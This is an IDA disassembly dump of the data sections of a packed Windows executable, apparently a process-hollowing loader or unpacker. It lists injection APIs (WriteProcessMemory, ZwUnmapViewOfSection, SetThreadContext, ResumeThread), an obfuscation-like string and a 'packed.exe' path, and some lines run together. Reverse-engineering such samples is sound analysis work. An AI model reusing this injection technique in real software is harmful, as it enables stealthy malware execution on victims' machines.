dword_409020 dd 7C801A5Dh ; resolved to->KERNEL32.VirtualProtectEx ; .text:00408156r
dword_409024 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThread ; WinMain(x,x,x,x)+1C7r ...
dword_409028 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; .text:00408162r
dword_40902C dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; __NMSG_WRITE+81r ...
dword_409030 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_409034 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineA ; .text:00408174r
dword_409038 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_40903C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; ___sbh_heap_init+Dr ...
dword_409040 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_409044 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_409048 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_405BBE-7r ...
dword_40904C dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .text:00408198r
dword_409050 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; .text:0040819Er
dword_409054 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; __NMSG_WRITE+14Er ...
dword_409058 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; __ioinit+165r ...
dword_40905C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; __lseeki64+52r ...
dword_409060 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; __write+F4r ...
dword_409064 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; .text:004081BCr
dword_409068 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; .text:004081C2r
dword_40906C dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; .text:004081C8r
dword_409070 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; .text:004081CEr
dword_409074 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; _wctomb+47r ...
dword_409078 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; .text:004081DAr
dword_40907C dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; .text:004041F7r ...
dword_409080 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate ; .text:004081E6r
dword_409084 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; ___sbh_free_block+22Fr ...
dword_409088 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; ___sbh_free_block+2B4r ...
dword_40908C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; ___sbh_alloc_new_group+52r ...
dword_409090 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; _realloc+FDr ...
dword_409094 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr ; ___sbh_heap_check+55r ...
dword_409098 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; __free_osfhnd:loc_405605r ...
dword_40909C dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffers ; .text:00408210r
dword_4090A0 dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_4090A4 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; .text:0040821Cr
dword_4090A8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; .text:00408222r
dword_4090AC dd 7C809915h ; resolved to->KERNEL32.GetACP ; __setmbcp+42r ...
dword_4090B0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCP ; __setmbcp+2Br ...
dword_4090B4 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; __setmbcp+93r ...
dword_4090B8 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4090BC dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchange ; __ValidateEH3RN+196r ...
dword_4090C0 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuery ; __resetstkoflw+1Ar ...
dword_4090C4 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap ; .text:0040824Cr
dword_4090C8 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; .text:00408252r
dword_4090CC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .text:00408258r
dword_4090D0 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; .text:0040825Er
dword_4090D4 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; .text:00408264r
dword_4090D8 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; .text:0040826Ar
dword_4090DC dd 7C832044h ; resolved to->KERNEL32.SetEndOfFile ; .text:00408270r
dword_4090E0 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; ___crtLCMapStringA+344r ...
dword_4090E4 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; ___crtLCMapStringA+141r ...
dword_4090E8 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; ___crtLCMapStringA+15Br ...
dword_4090EC dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; .text:00408288r
dword_4090F0 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; ___crtGetStringTypeA+128r ...
dword_4090F4 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; .text:00408294r
dword_4090F8 dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtect ; .text:0040829Ar
dword_4090FC dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; .text:004082A0r
dd 2 dup(0)
; char aGfdMngMsnfdmgS[]
aGfdMngMsnfdmgS db 'gfd,mng,msnfdmg sjhfdyutasdygf67asd5f54asdfa65dsft4kj32n,rq.fm43n'
; DATA XREF: .text:00401301o
; sub_401330+C9o ...
db ',mn513y578436543t6rftaewfsdn fashd asdjhgfhjasdb fsdnabfmsbda,mgn'
db 'fsd,mgfdgfd,mng,msnfdmg sjhfdyutasdygf67asd5f54asdfa65dsft4kj32n,'
db 'rq.fm43n,mn513y578436543t6rftaewfsdn fashd asdjhgfhjasdb fsdnabfm'
db 'sbda,mgnfsd,mgfd',0
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4016F0+F4o
; WinMain(x,x,x,x)+9Do ...
align 10h
aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_4016F0+EFo
; WinMain(x,x,x,x):loc_401A4Fo
align 4
aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+98o
align 4
; char aRb[]
aRb db 'rb',0 ; DATA XREF: WinMain(x,x,x,x)+36o
align 4
aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_4082B0o
align 4
aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_4082D0+5o
align 4
aZwunmapviewofs db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_4082D0o
align 10h
stru_409290 _msEH <0FFFFFFFFh, offset loc_40208C, offset loc_4020A0>
; DATA XREF: start+2o __output+5Er
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo
align 4
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o
byte_4092B8 db 6 ; DATA XREF: __output:loc_402E73r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_40B06Co
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_40B068o
align 4
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 10h
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 10h
aSingError db 'SING error',0Dh,0Ah,0
align 10h
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6029ThisAppli db 'R6029',0Dh,0Ah
db '- This application cannot run using the active version of the Mic'
db 'rosoft .NET Runtime',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_40B2F4o
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
; ___security_error_handler+132o
align 4
; char asc_4096F8[]
asc_4096F8 db 0Ah ; DATA XREF: __NMSG_WRITE+107o
; ___security_error_handler+FCo
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
db 0Ah
db 'Program: ',0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o
; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
; ___security_error_handler+8Bo
byte_409733 db 0 ; DATA XREF: __wincmdln+1Bo
align 8
stru_409738 _msEH <0FFFFFFFFh, offset loc_4040B9, offset loc_4040BD>
; DATA XREF: sub_40408C+2o
align 8
stru_409748 _msEH <0FFFFFFFFh, offset loc_4040FD, offset loc_404101>
; DATA XREF: sub_4040D0+2o
dd 41h dup(0)
asc_409858: ; DATA XREF: .data:off_40B598o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
db 2 dup(0)
word_409A5A dw 20h ; DATA XREF: .data:off_40B59Co
aHH:
unicode 0, < h(((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h)
dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h)
dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h
dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h)
dd 1020010h, 3 dup(1020102h), 1010102h, 0
stru_409C60 _msEH <0FFFFFFFFh, offset sub_405BAA, offset sub_405BAE>
; DATA XREF: sub_405BBE-2Fo
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo
aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o
align 4
; char aProgram[]
aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o
align 4
aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra'
; DATA XREF: ___security_error_handler+62o
db 'm',27h,'s',0Ah
db 'internal state. The program cannot safely continue execution and'
db ' must',0Ah
db 'now be terminated.',0Ah,0
aBufferOverrunD db 'Buffer overrun detected!',0
; DATA XREF: ___security_error_handler:loc_4071F2o
align 8
aASecurityError db 'A security error of unknown cause has been detected which has',0Ah
; DATA XREF: ___security_error_handler+4Co
db 'corrupted the program',27h,'s internal state. The program cannot sa'
db 'fely',0Ah
db 'continue execution and must now be terminated.',0Ah,0
align 4
; char aUnknownSecurit[]
aUnknownSecurit db 'Unknown security failure detected!',0
; DATA XREF: ___security_error_handler+47o
align 10h
stru_409E80 _msEH <0FFFFFFFFh, offset loc_4071CD, offset loc_4071D1>
; DATA XREF: ___security_error_handler+5o
dword_409E8C dd 0 ; ___crtGetStringTypeA+1Eo
stru_409E90 _msEH <0FFFFFFFFh, offset loc_4078DA, offset loc_4078DE>
; DATA XREF: ___crtLCMapStringA+2o
dd 0FFFFFFFFh, 4076D7h, 4076DBh, 0FFFFFFFFh, 4077A5h, 4077A9h
dd 0
stru_409EB8 _msEH <0FFFFFFFFh, offset loc_407A76, offset loc_407A7A>
; DATA XREF: ___crtGetStringTypeA+2o
align 8
stru_409EC8 _msEH <0FFFFFFFFh, offset loc_407D19, offset loc_407D1D>
; DATA XREF: ___convertcp+2o
align 8
dd 48h, 0Eh dup(0)
dd offset dword_40B5A0
dd offset dword_409F20
dd 2
dword_409F20 dd 4258h, 68B4h, 0dword_409F2C dd 2 dup(0) ; sub_40408C:loc_40409Fo
dword_409F34 dd 0 ; sub_4040D0:loc_4040E3o
dd 9F60h, 2 dup(0)
dd 0A4D2h, 9000h, 5 dup(0)
dd 0A064h, 0A076h, 0A08Ah, 0A09Eh, 0A0B0h, 0A0C4h, 0A0D6h
dd 0A0EAh, 0A0FCh, 0A110h, 0A120h, 0A136h, 0A14Ch, 0A15Eh
dd 0A170h, 0A180h, 0A18Ch, 0A19Ch, 0A1A8h, 0A1B6h, 0A1CAh
dd 0A1DCh, 0A1ECh, 0A1FAh, 0A20Ch, 0A218h, 0A234h, 0A24Eh
dd 0A266h, 0A280h, 0A296h, 0A2B0h, 0A2BEh, 0A2CCh, 0A2DAh
dd 0A2E6h, 0A2F6h, 0A304h, 0A314h, 0A324h, 0A338h, 0A346h
dd 0A354h, 0A364h, 0A36Eh, 0A37Ah, 0A386h, 0A392h, 0A3A8h
dd 0A3B8h, 0A3C4h, 0A3DEh, 0A3EEh, 0A404h, 0A41Ah, 0A434h
dd 0A444h, 0A454h, 0A46Ah, 0A47Ah, 0A48Ch, 0A49Eh, 0A4B0h
dd 0A4C2h, 0
dd 6956037Ch, 61757472h, 6575516Ch, 78457972h, 2AC0000h
aReadprocessmem db 'ReadProcessMemory',0
dw 1CDh
aGetthreadconte db 'GetThreadContext',0
align 2
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 10h
db 4Fh ; O
db 3, 54h, 65h
aRminateprocess db 'rminateProcess',0
align 4
db 98h ; ˜
db 1, 47h, 65h
aTprocaddress db 'tProcAddress',0
align 2
dw 177h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 374h
aVirtualallocex db 'VirtualAllocEx',0
align 4
db 7Ah ; z
db 3, 56h, 69h
aRtualprotectex db 'rtualProtectEx',0
align 10h
db 0C5h ; Å
db 2, 52h, 65h
aSumethread db 'sumeThread',0
align 10h
db 0Ch
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 175h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
dd 654701AFh, 61745374h, 70757472h, 6F666E49h, 1080041h
dd 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh, 654701DFh
dd 72655674h, 6E6F6973h, 417845h, 65480206h, 6C417061h
dd 636F6Ch, 65470169h, 73614C74h, 72724574h, 726Fh, 655202A9h
dd 69466461h, 656Ch, 784500AFh, 72507469h, 7365636Fh, 13A0073h
aGetcurrentproc db 'GetCurrentProcess',0
dw 317h
aSethandlecount db 'SetHandleCount',0
align 4
db 0B1h ; ±
db 1, 47h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 5Eh ; ^
db 1, 47h, 65h
aTfiletype db 'tFileType',0
dw 30Eh
aSetfilepointer db 'SetFilePointer',0
align 4
db 94h ; ”
db 3, 57h, 72h
aItefile db 'iteFile',0
db 60h ; `
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 4
aA db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
dw 14Dh
aGetenvironment db 'GetEnvironmentStrings',0
aU db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
db 87h ; ‡
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 14Fh
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 10h
dd 6548020Ah, 65447061h, 6F727473h, 2080079h, 70616548h
dd 61657243h, 6574h, 69560376h, 61757472h, 6572466Ch, 20C0065h
dd 70616548h, 65657246h, 3730000h, 74726956h, 416C6175h
dd 636F6C6Ch, 2100000h, 70616548h, 6C416552h, 636F6Ch
dd 7349022Ch, 57646142h, 65746972h, 727450h, 6553032Ah
dd 64745374h, 646E6148h, 656Ch, 6C4600E5h, 46687375h, 42656C69h
dd 65666675h, 7372h, 6C43002Eh, 4865736Fh, 6C646E61h, 4D0065h
dd 61657243h, 69466574h, 41656Ch, 6F4C0248h, 694C6461h
dd 72617262h, 4179h, 654700F5h, 50434174h, 18B0000h, 4F746547h
dd 50434D45h, 0FC0000h, 43746547h, 666E4950h, 2CA006Fh
dd 556C7452h, 6E69776Eh, 21F0064h
aInterlockedexc db 'InterlockedExchange',0
db 7Bh ; {
db 3, 56h, 69h
aRtualquery db 'rtualQuery',0
align 4
db 12h
db 2, 48h, 65h
aApsize db 'apSize',0
align 4
db 97h ; —
db 2, 51h, 75h
aEryperformance db 'eryPerformanceCounter',0
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 13Eh
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 1C0h
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
db 3
db 3, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 4
db 3Ah ; :
db 2, 4Ch, 43h
aMapstringa db 'MapStringA',0
align 4
db 6Bh ; k
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 23Bh
aLcmapstringw db 'LCMapStringW',0
align 2
dw 1B2h
aGetstringtypea db 'GetStringTypeA',0
align 4
dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h
dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h
dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h
dd 666E496Dh, 454B006Fh, 4C454E52h, 642E3233h, 6C6Ch
_rdata ends
; Section 3. (virtual address 0000B000)
; Virtual size : 00001CD8 ( 7384.)
; Section size in file : 00001CD8 ( 7384.)
; Offset to raw data for section: 0000B000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 40B000h
dword_40B000 dd 0 dd offset ___security_init_cookie
dd offset sub_4082B0
dd offset sub_4082D0
dword_40B010 dd 0 dword_40B014 dd 0 dd offset ___initstdio
dd offset ___onexitinit
dd offset ___initmbctable
dword_40B024 dd 0 dword_40B028 dd 0 dd offset ___endstdio
dword_40B030 dd 0 dword_40B034 dd 0 dword_40B038 dd 2 dup(0) ; __int32 Offset
Offset dd 9A00h ; DATA XREF: sub_401000+25r
; sub_401000:loc_401048r ...
byte_40B044 db 0CCh ; DATA XREF: sub_401000+68r
; sub_401000+E9r ...
byte_40B045 db 0F5h ; DATA XREF: sub_401000+6Er
; sub_401000+EFr ...
byte_40B046 db 0DAh ; DATA XREF: sub_401330+15Br
align 10h
off_40B050 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_40B054 dd 2 ; __FF_MSGBANNER+Er ...
align 10h
dword_40B060 dd 0FFFFFFFFh, 0A80h ; __flsbuf:loc_405A30o
off_40B068 dd offset aNull ; DATA XREF: __output:loc_4031FFr
; __output+51Cr
; "(null)"
off_40B06C dd offset aNull_0 ; DATA XREF: __output+2D8r
; "(null)"
off_40B070 dd offset dword_40BBA0 ; DATA XREF: .text:00403601o
; ___initstdio+52o
align 8
dd offset dword_40BBA0
dd 101h
dword_40B080 dd 0FFFFFFFFh, 0 dd 1000h, 0
; FILE stru_40B090
stru_40B090 FILE <323E48h, 0, 323E48h, 2Ah, 0FFFFFFFFh, 0, 1000h, 0>
; DATA XREF: _printf+3o __stbuf+12o ...
dword_40B0B0 dd 3 dup(0) ; __flsbuf+5Bo
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_40B0D0 dd 322E40h, 0 dd 322E40h, 9
dword_40B0E0 dd 3, 0 dd 200h, 81h dup(0)
dword_40B2F0 dd 2 ; __NMSG_WRITE:loc_4038C1r ...
off_40B2F4 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
; __NMSG_WRITE+112r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 40967Ch, 9, 409650h, 0Ah, 4095B8h, 10h, 40958Ch
dd 11h, 40955Ch, 12h, 409538h, 13h, 40950Ch, 18h, 4094D4h
dd 19h, 4094ACh, 1Ah, 409474h, 1Bh, 40943Ch, 1Ch, 409414h
dd 1Dh, 409370h, 78h, 409360h, 79h, 409350h, 7Ah, 409340h
dd 0FCh, 40933Ch, 0FFh, 40932Ch
dword_40B388 dd 0C0000005h, 0Bh, 0 ; __XcptFilter+Co
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_40B400 dd 3 dword_40B404 dd 7 dword_40B408 dd 0Ah ; __XcptFilter+6r
dword_40B40C dd 8Ch ; __XcptFilter+BAw ...
dd 10h, 0
dword_40B418 dd 1 dword_40B41C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_40B580 dd offset __fptrap ; DATA XREF: __output+476r
off_40B584 dd offset __fptrap ; DATA XREF: __output+4A2r
dd offset __fptrap
off_40B58C dd offset __fptrap ; DATA XREF: __output+491r
dd offset __fptrap
dd offset __fptrap
off_40B598 dd offset asc_409858 ; DATA XREF: __output:loc_403023r
; .text:00405B87r ...
; " ((((( H"
off_40B59C dd offset word_409A5A ; DATA XREF: .text:00405B81r
dword_40B5A0 dd 0D2770F1Ah ; __NMSG_WRITE+Er ...
align 10h
byte_40B5B0 db 1 ; DATA XREF: __setmbcp+120r
db 2, 4, 8
align 8
dword_40B5B8 dd 3A4h dword_40B5BC dd 82798260h dd 21h, 0
dword_40B5C8 dd 0DFA6h align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_40B6A8 dd 19930520h, 5 dup(0) ; __NLG_Notify+2o
dd 1
dword_40B6C4 dd 1 ; __ismbcspace:loc_408036r
dd 2Eh, 1, 4 dup(0)
dword_40B6E0 dd 38h ; .text:00401880r ...
dword_40B6E4 dd 30h ; WinMain(x,x,x,x)+1DAw
dword_40B6E8 dd 30h ; FILE *File
File dd offset dword_40B0D0 ; DATA XREF: WinMain(x,x,x,x)+46w
; WinMain(x,x,x,x)+C9r
dword_40B6F0 dd 400000h dword_40B6F4 dd 30h ; WinMain(x,x,x,x)+185r ...
byte_40B6F8 db 1 ; DATA XREF: .text:00401886w
; WinMain(x,x,x,x)+1C0w ...
align 4
dword_40B6FC dd 400000h ; sub_4016F0+75w ...
dword_40B700 dd 7C90E960h ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_4082D0+17w
dword_40B704 dd 7C862A69h ; resolved to->KERNEL32.SetThreadContext ; sub_4082B0+17w
; void *dword_40B708
dword_40B708 dd 0 ; __setenvp:loc_403CA7r ...
align 10h
dword_40B710 dd 0 ; .text:_fast_error_exitr ...
dword_40B714 dd 9 ; _fseek:loc_401D83w ...
dword_40B718 dd 0 ; __read:loc_4023FDw ...
dword_40B71C dd 0 dword_40B720 dd 2 dword_40B724 dd 0A28h dword_40B728 dd 501h dword_40B72C dd 5 ; ___heap_select+9r ...
dword_40B730 dd 1 dword_40B734 dd 1 dword_40B738 dd 3213F8h align 10h
; void *dword_40B740
dword_40B740 dd 321418h ; __setenvp:loc_403D46r ...
align 10h
off_40B750 dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_40B758 db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 4
dword_40B75C dd 1 dword_40B760 dd 1 dd 2 dup(0)
dword_40B76C dd 3 ; __openfile+14Cw ...
dword_40B770 dd 0 dword_40B774 dd 0 ; __XcptFilter+73w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
; .data:off_40B750o
align 4
dd 3Ah dup(0)
byte_40B87C db 0 ; DATA XREF: __setargv+23w
align 10h
dword_40B880 dd 1 ; ___crtGetEnvironmentStringsA+24w ...
dword_40B884 dd 0 ; .text:004052DFw ...
dword_40B888 dd 0 ; _calloc:loc_405CB8r ...
dword_40B88C dd 0 dword_40B890 dd 0 ; ___crtMessageBoxA+38w ...
dword_40B894 dd 0 ; ___crtMessageBoxA:loc_4060E4r
dword_40B898 dd 0 ; ___crtMessageBoxA+D6r
dword_40B89C dd 0 ; ___crtMessageBoxA:loc_40609Fr
dword_40B8A0 dd 0 ; ___crtMessageBoxA+9Cr
dword_40B8A4 dd 1 ; .text:00406460w ...
dword_40B8A8 dd 0 ; __ValidateEH3RN+13Fr ...
align 10h
dword_40B8B0 dd 0 ; __ValidateEH3RN+1C4r ...
dd 0Fh dup(0)
dword_40B8F0 dd 3 dup(0) ; __ValidateEH3RN+191o ...
; int dword_40B8FC
dword_40B8FC dd 0 ; ___crtLCMapStringA+265r ...
dd 3 dup(0)
; int dword_40B90C
dword_40B90C dd 0 ; .text:0040648Ar ...
dd 0
dword_40B914 dd 0 ; .text:004072EDr ...
dword_40B918 dd 0 dword_40B91C dd 1 ; ___crtLCMapStringA+31w ...
dword_40B920 dd 1 ; ___crtGetStringTypeA+2Ew ...
; int dword_40B924
dword_40B924 dd 0 ; _setSBUpLow+84r ...
dword_40B928 dd 0 ; __setmbcp+14Dw ...
dd 5 dup(0)
byte_40B940 db 0 ; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_40B941 db 0 ; DATA XREF: _parse_cmdline+47r
; _parse_cmdline+11Dr ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
; int dword_40BA44
dword_40BA44 dd 4E4h align 10h
dword_40BA50 dd 4 dup(0) ; __setmbcp+162o ...
byte_40BA60 db 0 ; DATA XREF: _setSBUpLow:loc_406604w
; _setSBUpLow:loc_406621w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
